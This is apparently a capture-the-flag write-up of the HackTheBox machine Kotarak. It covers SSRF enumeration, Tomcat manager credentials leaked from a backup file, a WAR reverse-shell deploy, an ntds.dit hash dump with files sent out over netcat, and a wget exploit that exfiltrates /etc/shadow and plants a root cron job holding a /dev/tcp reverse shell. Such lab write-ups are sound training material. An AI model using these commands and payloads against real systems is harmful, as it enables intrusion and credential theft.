Post

HackTheBox Kotarak

Writeup for HackTheBox Kotarak

HackTheBox Kotarak

Machine Synopsis

Kotarak focuses on many different attack vectors and requires quite a few steps for completion. It is a great learning experience as many of the topics are not covered by other machines on Hack The Box. (Source)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ nmap -p- --min-rate 10000 10.10.10.55

Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
8009/tcp  open  ajp13
8080/tcp  open  http-proxy
60000/tcp open  unknown

❯ nmap -p 22,8009,8080,60000 -sC -sV 10.10.10.55

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA)
|   256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA)
|_  256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (ED25519)
8009/tcp  open  ajp13   Apache Jserv (Protocol v1.3)
| ajp-methods: 
|   Supported methods: GET HEAD POST PUT DELETE OPTIONS
|   Potentially risky methods: PUT DELETE
|_  See https://nmap.org/nsedoc/scripts/ajp-methods.html
8080/tcp  open  http    Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5 - Error report
|_http-favicon: Apache Tomcat
| http-methods: 
|_  Potentially risky methods: PUT DELETE
60000/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title:         Kotarak Web Hosting        
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Use whatweb to identify the web technologies used for http://10.10.10.55:8080.

1
2
❯ whatweb http://10.10.10.55:8080/
http://10.10.10.55:8080/ [404 Not Found] Apache-Tomcat[8.5.5], Content-Language[en], Country[RESERVED][ZZ], HTML5, IP[10.10.10.55], Title[Apache Tomcat/8.5.5 - Error report]

Check for any interesting directories for http://10.10.10.55:8080.

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ feroxbuster -u 'http://10.10.10.55:8080'
...
302      GET        0l        0w        0c http://10.10.10.55:8080/docs => http://10.10.10.55:8080/docs/
302      GET        0l        0w        0c http://10.10.10.55:8080/manager => http://10.10.10.55:8080/manager/
302      GET        0l        0w        0c http://10.10.10.55:8080/docs/images => http://10.10.10.55:8080/docs/images/
404      GET       44l      184w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        0l        0w        0c http://10.10.10.55:8080/docs/config => http://10.10.10.55:8080/docs/config/
302      GET        0l        0w        0c http://10.10.10.55:8080/docs/api => http://10.10.10.55:8080/docs/api/
302      GET        0l        0w        0c http://10.10.10.55:8080/manager/images => http://10.10.10.55:8080/manager/images/
401      GET       63l      289w     2473c http://10.10.10.55:8080/manager/text/
401      GET       63l      289w     2473c http://10.10.10.55:8080/manager/text/css
401      GET       63l      289w     2473c http://10.10.10.55:8080/manager/html
...

There seems to be a /manager/html endpoint.

manager_html

It looks like we will need to find the credentials for this login page.

Use whatweb again to identify the web technologies used for http://10.10.10.55:60000.

1
2
❯ whatweb http://10.10.10.55:60000
http://10.10.10.55:60000 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.55], Title[Kotarak Web Hosting][Title element contains newline(s)!]

Find any interesting directories on http://10.10.10.55:60000.

1
2
3
4
5
6
7
❯ feroxbuster -u http://10.10.10.55:60000 -x php
...
200      GET        2l        0w        2c http://10.10.10.55:60000/url.php
200      GET       76l      130w     1169c http://10.10.10.55:60000/
200      GET       76l      130w     1169c http://10.10.10.55:60000/index.php
200      GET     1110l     5668w    92244c http://10.10.10.55:60000/info.php
...

Lets check out the info.php page for any useful information.

1
2
3
4
5
❯ curl http://10.10.10.55:60000/info.php | grep file_uploads
...
<tr><td class="e">file_uploads</td><td class="v">On</td><td class="v">On</td></tr>
<tr><td class="e">max_file_uploads</td><td class="v">20</td><td class="v">20</td></tr>
...

We observe that the info.php page reveals that we are able upload files.

webpage_port_60000

Typing shiro into the input box and clicking submit redirects us to http://10.10.10.55:60000/url.php?path=shiro.

What if we submit a URL pointing to our own server instead?

Submitting http://10.10.16.7 redirects us to http://10.10.10.55:60000/url.php?path=http%3A%2F%2F10.10.16.7.

However, we can observe that the server made a request to our server.

1
2
3
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.55 - - [23/Jan/2025 13:21:42] "GET / HTTP/1.1" 200 -

This indicates a possible SSRF vulnerability.

Lets do a localhost port scan with wfuzz. Note: filter out outputs with only 2 characters because these are highly likely to be false positives.

1
2
3
4
5
6
7
8
9
10
11
12
❯ wfuzz -c -z range,1-65535 --hl=2 'http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ'
...
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
000000022:   200        4 L      4 W        62 Ch       "22"     
000000110:   200        17 L     24 W       187 Ch      "110"       
000000090:   200        11 L     18 W       156 Ch      "90"       
000000200:   200        3 L      2 W        22 Ch       "200"       
000000320:   200        26 L     109 W      1232 Ch     "320"      
000000888:   200        78 L     265 W      3955 Ch     "888"      
000060000:   200        78 L     130 W      1171 Ch     "60000"    

Lets do a curl request to each of this localhost ports identified.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
for port in 22 110 90 200 320 888 60000; do echo "Port $port:"; curl -s "http://10.10.10.55:60000/url.php?path=localhost:$port"; echo "\n"; done

Port 22:
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2
Protocol mismatch.

Port 110:
<html>
<head>
<title> favorites / bookmark title goes here </title>
</head>

<body bgcolor="white" text="blue">

<h1>Test page </h1>

Absolutely nothing to see here.

</body>
</html>

Port 90:
<!DOCTYPE>
<html>
<head>
<title>Under Construction</title>
</head>
<bodyd>
<p>This page is under construction. Please come back soon!</p>
</body>
</html>

Port 200:
<b>Hello world!</b>

Port 320:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html>
<head>	
<title>Accounting</title>
<style type="text/css">
		html,body{height: 50%; padding:0; margin:0;}
		form{ width:30em;height:9em; margin:-5em auto 0 auto; position: relative; top:50%; border:1px dotted #ccc; padding:.25em; }
		fieldset{ margin:0;   border:0;padding:0;}
		legend{float:left; font-size: 200%; text-align: center; color:blue; font-weight: bold; border-bottom: 1px solid blue; width:15em;  padding:0; }
		label, label+ input {display:inline; float:left;margin-top:1em;}
		label{text-align: right; width:28%; clear: left; margin-top:.8em; }
		label+ input{ width:60%; padding:.25em; ; margin-left:.5em; border: 1px inset;  margin-left: }
		#sub{  margin-top:1em; position: relative; float:left;clear: left; margin-left: 29%}
</style>
</head>
<body>
	<form action="" method="post">
		<fieldset><legend>Super Sensitive Login Page</legend>
			<label for="name">Name: </label><input  type="text" name="name" id="name" value="admin">
			<label for="password">Password: </label><input  type="password" name="password" id="password">
			<input type="submit" value="Login" id="sub">
		</fieldset>	
	</form>
</body>
</html>

Port 888:
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"/>
<title>Simple File Viewer</title>

    <link href="inc/default.css" rel="stylesheet" type="text/css" />
    <!--[if lt IE 7.]>
    <script defer type="text/javascript" src="inc/js/pngfix.js"></script>
    <![endif]-->
   
</head>
<body>
<div id="contents">
	<h1>
		Simple File Viewer   	</h1><table width="100%" border="0" cellpadding="5" cellspacing="0" class="tableBorder">
      <tr>
        <td width="35" valign="bottom" class="path">Path: </td>
        <td>
        <a href="?nav=" class="pathDir"><img src="inc/images/go-home.png" alt="dir" width="18" height="18" border="0" align="bottom"/> Root</a> 
                
       </td>
      </tr>
    </table>
	<br/>
	
	<table width="100%" border="0" cellpadding="5" cellspacing="0" class="tableBorder">
  <tr>
    <td colspan="2" class="tableHeader"><a href="?nav=&column=name&order=desc"><img src="inc/images/go-down.png" border="0" height="10" alt="order DESC"/>&nbsp;Name</a></td>
    <td width="70"  class="tableHeader" align="right"><a href="?nav=&column=size&order=asc">Size</a></td>
    <td width="155" class="tableHeader" align="right"><a href="?nav=&column=lastm&order=asc">Date modified</a></td>
  </tr>
 <tr >
    <td width="27"><a href="?doc=backup"  class="tableElement"><img src="inc/images/generic.png" alt="dir" width="22" height="22" border="0"></a></td>
    <td class="tableElement"><a href="?doc=backup"  class="tableElement">backup</a></td>
    <td class="tableElementInfo">&nbsp;2.22 kB</td>
    <td class="tableElementInfo">&nbsp;18 07 2017  21:42:11</td>
  </tr>
 <tr class="tableOdd">
    <td width="27"><a href="?doc=blah"  class="tableElement"><img src="inc/images/generic.png" alt="dir" width="22" height="22" border="0"></a></td>
    <td class="tableElement"><a href="?doc=blah"  class="tableElement">blah</a></td>
    <td class="tableElementInfo">&nbsp;1 kB</td>
    <td class="tableElementInfo">&nbsp;13 07 2017  00:38:10</td>
  </tr>
 <tr >
    <td width="27"><a href="?doc=is"  class="tableElement"><img src="inc/images/generic.png" alt="dir" width="22" height="22" border="0"></a></td>
    <td class="tableElement"><a href="?doc=is"  class="tableElement">is</a></td>
    <td class="tableElementInfo">&nbsp;0 B </td>
    <td class="tableElementInfo">&nbsp;18 07 2017  21:50:21</td>
  </tr>
 <tr class="tableOdd">
    <td width="27"><a href="?doc=on"  class="tableElement"><img src="inc/images/generic.png" alt="dir" width="22" height="22" border="0"></a></td>
    <td class="tableElement"><a href="?doc=on"  class="tableElement">on</a></td>
    <td class="tableElementInfo">&nbsp;0 B </td>
    <td class="tableElementInfo">&nbsp;18 07 2017  21:50:29</td>
  </tr>
 <tr >
    <td width="27"><a href="?doc=tetris.c"  class="tableElement"><img src="inc/images/generic.png" alt="dir" width="22" height="22" border="0"></a></td>
    <td class="tableElement"><a href="?doc=tetris.c"  class="tableElement">tetris.c</a></td>
    <td class="tableElementInfo">&nbsp;6.16 kB</td>
    <td class="tableElementInfo">&nbsp;18 07 2017  21:48:50</td>
  </tr>
 <tr class="tableOdd">
    <td width="27"><a href="?doc=thing"  class="tableElement"><img src="inc/images/generic.png" alt="dir" width="22" height="22" border="0"></a></td>
    <td class="tableElement"><a href="?doc=thing"  class="tableElement">thing</a></td>
    <td class="tableElementInfo">&nbsp;0 B </td>
    <td class="tableElementInfo">&nbsp;18 07 2017  21:50:29</td>
  </tr>
 <tr >
    <td width="27"><a href="?doc=this"  class="tableElement"><img src="inc/images/generic.png" alt="dir" width="22" height="22" border="0"></a></td>
    <td class="tableElement"><a href="?doc=this"  class="tableElement">this</a></td>
    <td class="tableElementInfo">&nbsp;0 B </td>
    <td class="tableElementInfo">&nbsp;18 07 2017  21:50:21</td>
  </tr>
</table>
</div>
</body>
</html>

Port 60000:
<!DOCTYPE html>
<html>
<head>
<style>
div.container {
    width: 100%;
    border: 1px solid gray;
}

header, footer {
    padding: 1em;
    color: white;
    background-color: black;
    clear: left;
    text-align: center;
}

nav {
    float: left;
    max-width: 160px;
    margin: 0;
    padding: 1em;
}

nav ul {
    list-style-type: none;
    padding: 0;
}
   
nav ul a {
    text-decoration: none;
}

article {
    margin-left: 170px;
    border-left: 1px solid gray;
    padding: 1em;
    overflow: hidden;
}
</style>
	 <title>
        Kotarak Web Hosting
        </title>
    </head>

    <body>
    
<div class="container">

<header>
   <h1>Welcome to Kotarak Web Hosting Private Browser</h1>
</header>

<nav>
  <ul>
    <li><a href="#">Home</a></li>
    <li><a href="#">Help</a></li>
    <li><a href="#">Admin</a></li>
  </ul>
</nav>

    <br>
    <article>Use this private web browser to surf the web anonymously. Please do not abuse it!</p>
    <br>
    <form method="GET" action="url.php">
        <input type="text" value="" name="path">
        <input type="submit" value="Submit">
    </form>
</article>
<br>
<footer></footer>

</div>

</body>
</html>

The interesting ports seems to be port 320 and port 888.

webpage_port_320

Port 320 shows us another login page.

webpage_port_888

Port 888 shows us some interesting files such as backup. Lets read the backup file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
❯ curl -s "http://10.10.10.55:60000/url.php?path=http%3A%2F%2Flocalhost%3A888?doc=backup"
<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  NOTE:  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary. It is
  strongly recommended that you do NOT use one of the users in the commented out
  section below since they are intended for use with the examples web
  application.
-->
<!--
  NOTE:  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the <!.. ..> that surrounds
  them. You will also need to set the passwords to something appropriate.
-->
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
    <user username="admin" password="3@g01PdhB!" roles="manager,manager-gui,admin-gui,manager-script"/>

</tomcat-users>

We found the credentials admin:3@g01PdhB!. Lets login to the Tomcat Manager on http://10.10.10.55:8080/manager/html.

tomcat_manager_login

Exploitation

On Tomcat Manager, we are able to upload and deploy .war files. Lets create a malicious .war file.

1
2
3
4
❯ msfvenom -p java/shell_reverse_tcp LHOST=10.10.16.7 LPORT=443 -f war -o shell.war
Payload size: 13022 bytes
Final size of war file: 13022 bytes
Saved as: shell.war

Start our listener.

1
2
3
4
5
6
7
8
9
10
11
12
❯ msfconsole -q
[*] Starting persistent handler(s)...
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/shell_reverse_tcp 
payload => java/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 443
lport => 443
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.16.7:443 

Upload the shell.war file and deploy it.

Once deployed, we can see the list of applications available.

tomcat_manager_applications

Click on the /shell link to execute the payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.16.7:443 
[*] Command shell session 1 opened (10.10.16.7:443 -> 10.10.10.55:53450)
whoami
tomcat
which python3
/usr/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
tomcat@kotarak-dmz:/$ cd /home
tomcat@kotarak-dmz:/home$ ls 
atanas	tomcat 
tomcat@kotarak-dmz:/home$ cat atanas/user.txt
cat: atanas/user.txt: Permission denied

It looks like we do not have enough permissions to access atanas files. Lets enumerate around tomcat files for anything useful.

1
2
3
4
5
6
7
tomcat@kotarak-dmz:/home$ cd tomcat
tomcat@kotarak-dmz:/home/tomcat$ ls -l
total 4
drwxr-xr-x 3 tomcat tomcat 4096 Jul 21  2017 to_archive
tomcat@kotarak-dmz:/home/tomcat$ find . -type f
./to_archive/pentest_data/20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
./to_archive/pentest_data/20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit

It looks like we found a ntds.dit file and possibly the SYSTEM file to decrypt the ntds.dit!

Lets transfer the files out.

1
2
3
4
5
❯ nc -nlvp 8888 > SYSTEM
listening on [any] 8888 ...

❯ nc -nlvp 8888 > ntds.dit
listening on [any] 8888 ...
1
2
3
tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ nc 10.10.16.7 8888 < 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin      

tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ nc 10.10.16.7 8888 < 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
1
2
3
ls -l SYSTEM ntds.dit
-rw-rw-r-- 1 shiro shiro 12189696 Jan 23 15:10 SYSTEM
-rw-rw-r-- 1 shiro shiro 16793600 Jan 23 15:11 ntds.dit

Now lets run impacket-secretsdump to dump the NTLM hashes of the users.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x14b6fb98fedc8e15107867c4722d1399
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d77ec2af971436bccb3b6fc4a969d7ff
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN-3G2B0H151AC$:1000:aad3b435b51404eeaad3b435b51404ee:668d49ebfdb70aeee8bcaeac9e3e66fd:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ca1ccefcb525db49828fbb9d68298eee:::
WIN2K8$:1103:aad3b435b51404eeaad3b435b51404ee:160f6c1db2ce0994c19c46a349611487:::
WINXP1$:1104:aad3b435b51404eeaad3b435b51404ee:6f5e87fd20d1d8753896f6c9cb316279:::
WIN2K31$:1105:aad3b435b51404eeaad3b435b51404ee:cdd7a7f43d06b3a91705900a592f3772:::
WIN7$:1106:aad3b435b51404eeaad3b435b51404ee:24473180acbcc5f7d2731abe05cfa88c:::
atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
... 

Crackstation was able to crack the following hashes.

1
2
e64fe0f24ba2489c05e64354d74ebd11	NTLM	f16tomcat!
2b576acbe6bcfda7294d6bd18041b8fe	NTLM	Password123!

Lets try to switch user to atanas.

1
2
3
4
5
6
7
8
9
tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ su atanas
Password: Password123!
su: Authentication failure

tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ su atanas
Password: f16tomcat!

atanas@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ cat /home/atanas/user.txt
93f844f50491ef797c9c1b601b4bece8

Privilege Escalation

1
2
3
4
5
6
7
8
9
10
11
atanas@kotarak-dmz:~$ sudo -l
sudo: unable to resolve host kotarak-dmz: Connection refused
[sudo] password for atanas: f16tomcat!

Sorry, user atanas may not run sudo on kotarak-dmz.

atanas@kotarak-dmz:~$ ls /root
app.log  flag.txt

atanas@kotarak-dmz:~$ cat /root/flag.txt
Getting closer! But what you are looking for can't be found here.

It looks like we were able to read the files in /root but the flag is not here.

Lets read the app.log file.

1
2
3
4
atanas@kotarak-dmz:~$ cat /root/app.log
10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:50:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:52:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"

The logs indicate that the wget version is using 1.16. Lets search for any available exploits for that specific version.

1
2
3
4
5
6
❯ searchsploit wget
...
GNU Wget < 1.18 - Access List Bypass / Race Condition                                                                       | multiple/remote/40824.py
GNU Wget < 1.18 - Arbitrary File Upload (2)                                                                                 | linux/remote/49815.py
GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution                                                             | linux/remote/40064.txt
...       

The exploit that we are interested in is GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution.

Reading the exploit writeup shows the following information.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ subl 40064.txt
...
attackers-server# mkdir /tmp/ftptest
attackers-server# cd /tmp/ftptest

attackers-server# cat <<_EOF_>.wgetrc
post_file = /etc/shadow
output_document = /etc/cron.d/wget-root-shell
_EOF_

attackers-server# sudo pip install pyftpdlib
attackers-server# python -m pyftpdlib -p21 -w
...
---[ wget-exploit.py ]---

#!/usr/bin/env python
...
attackers-server# python ./wget-exploit.py

We have to create a new ftptest directory, create a malicious .wgetrc file, start a Python FTP server, and launch wget-exploit.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
atanas@kotarak-dmz:~$ mkdir ftptest
atanas@kotarak-dmz:~$ cd ftptest
atanas@kotarak-dmz:~/ftptest$ cat <<_EOF_>.wgetrc
> post_file = /etc/shadow
> output_document = /etc/cron.d/wget-root-shell
> _EOF_
atanas@kotarak-dmz:~/ftptest$ ls -la
total 12
drwxrwxr-x 2 atanas atanas 4096 Jan 23 02:24 .
drwxr-xr-x 5 atanas atanas 4096 Jan 23 02:24 ..
-rw-rw-r-- 1 atanas atanas   70 Jan 23 02:24 .wgetrc
atanas@kotarak-dmz:~/ftptest$ authbind python -m pyftpdlib -p21 -w &
[1] 80673
atanas@kotarak-dmz:~/ftptest$ /usr/local/lib/python2.7/dist-packages/pyftpdlib/authorizers.py:243: RuntimeWarning: write permissions assigned to anonymous user.
  RuntimeWarning)
[I 2025-01-23 02:25:50] >>> starting FTP server on 0.0.0.0:21, pid=80673 <<<
[I 2025-01-23 02:25:50] concurrency model: async
[I 2025-01-23 02:25:50] masquerade (NAT) address: None
[I 2025-01-23 02:25:50] passive ports: None
<press Enter here to get unstuck>

Edit the wget-exploit.py code on our local machine.

1
2
3
4
5
6
7
8
9
cat wget-exploit.py
...
HTTP_LISTEN_IP = '0.0.0.0'
HTTP_LISTEN_PORT = 80
FTP_HOST = '10.10.10.55'
FTP_PORT = 21

ROOT_CRON = "* * * * * root bash -c 'bash -i >& /dev/tcp/10.10.16.7/443 0>&1' \n"
...

Download the modified wget-exploit.py file onto the victim machine and execute it.

1
2
3
4
5
6
7
8
9
atanas@kotarak-dmz:~/ftptest$ wget http://10.10.16.7/wget-exploit.py
atanas@kotarak-dmz:~/ftptest$ ls
wget-exploit.py
atanas@kotarak-dmz:~/ftptest$ authbind python wget-exploit.py
Ready? Is your FTP server running?
[I 2025-01-23 02:26:15] 10.10.10.55:40044-[] FTP session opened (connect)
FTP found open on 10.10.10.55:21. Let's go then

Serving wget exploit on port 80...

Start our netcat listener.

1
2
❯ nc -nlvp 443
listening on [any] 443 ...

Wait for the exploit to complete.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Serving wget exploit on port 80...


We have a volunteer requesting /archive.tar.gz by GET :)

Uploading .wgetrc via ftp redirect vuln. It should land in /root 

10.0.3.133 - - [23/Jan/2025 02:28:01] "GET /archive.tar.gz HTTP/1.1" 301 -
Sending redirect to ftp://anonymous@10.10.10.55:21/.wgetrc 

[I 2025-01-23 02:28:01] 10.0.3.133:51214-[] FTP session opened (connect)
[I 2025-01-23 02:28:01] 10.0.3.133:51214-[anonymous] USER 'anonymous' logged in.
[I 2025-01-23 02:28:01] 10.0.3.133:51214-[anonymous] RETR /home/atanas/ftptest/.wgetrc completed=1 bytes=70 seconds=0.0
[I 2025-01-23 02:28:01] 10.0.3.133:51214-[anonymous] FTP session closed (disconnect).
We have a volunteer requesting /archive.tar.gz by POST :)

Received POST from wget, this should be the extracted /etc/shadow file: 

---[begin]---
 root:*:17366:0:99999:7:::
daemon:*:17366:0:99999:7:::
bin:*:17366:0:99999:7:::
sys:*:17366:0:99999:7:::
sync:*:17366:0:99999:7:::
games:*:17366:0:99999:7:::
man:*:17366:0:99999:7:::
lp:*:17366:0:99999:7:::
mail:*:17366:0:99999:7:::
news:*:17366:0:99999:7:::
uucp:*:17366:0:99999:7:::
proxy:*:17366:0:99999:7:::
www-data:*:17366:0:99999:7:::
backup:*:17366:0:99999:7:::
list:*:17366:0:99999:7:::
irc:*:17366:0:99999:7:::
gnats:*:17366:0:99999:7:::
nobody:*:17366:0:99999:7:::
systemd-timesync:*:17366:0:99999:7:::
systemd-network:*:17366:0:99999:7:::
systemd-resolve:*:17366:0:99999:7:::
systemd-bus-proxy:*:17366:0:99999:7:::
syslog:*:17366:0:99999:7:::
_apt:*:17366:0:99999:7:::
sshd:*:17366:0:99999:7:::
ubuntu:$6$edpgQgfs$CcJqGkt.zKOsMx1LCTCvqXyHCzvyCy1nsEg9pq1.dCUizK/98r4bNtLueQr4ivipOiNlcpX26EqBTVD2o8w4h0:17368:0:99999:7:::
 
---[eof]---


Sending back a cronjob script as a thank-you for the file...
It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)
10.0.3.133 - - [23/Jan/2025 02:30:01] "POST /archive.tar.gz HTTP/1.1" 200 -

File was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) 

Check our netcat listener for the root shell.

1
2
3
4
5
6
7
8
9
10
11
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.55] 59962
bash: cannot set terminal process group (787): Inappropriate ioctl for device
bash: no job control in this shell
root@kotarak-int:~# id    
id
uid=0(root) gid=0(root) groups=0(root)
root@kotarak-int:~# cat /root/root.txt
cat /root/root.txt
950d1425795dfd38272c93ccbb63ae2c
This post is licensed under CC BY 4.0 by the author.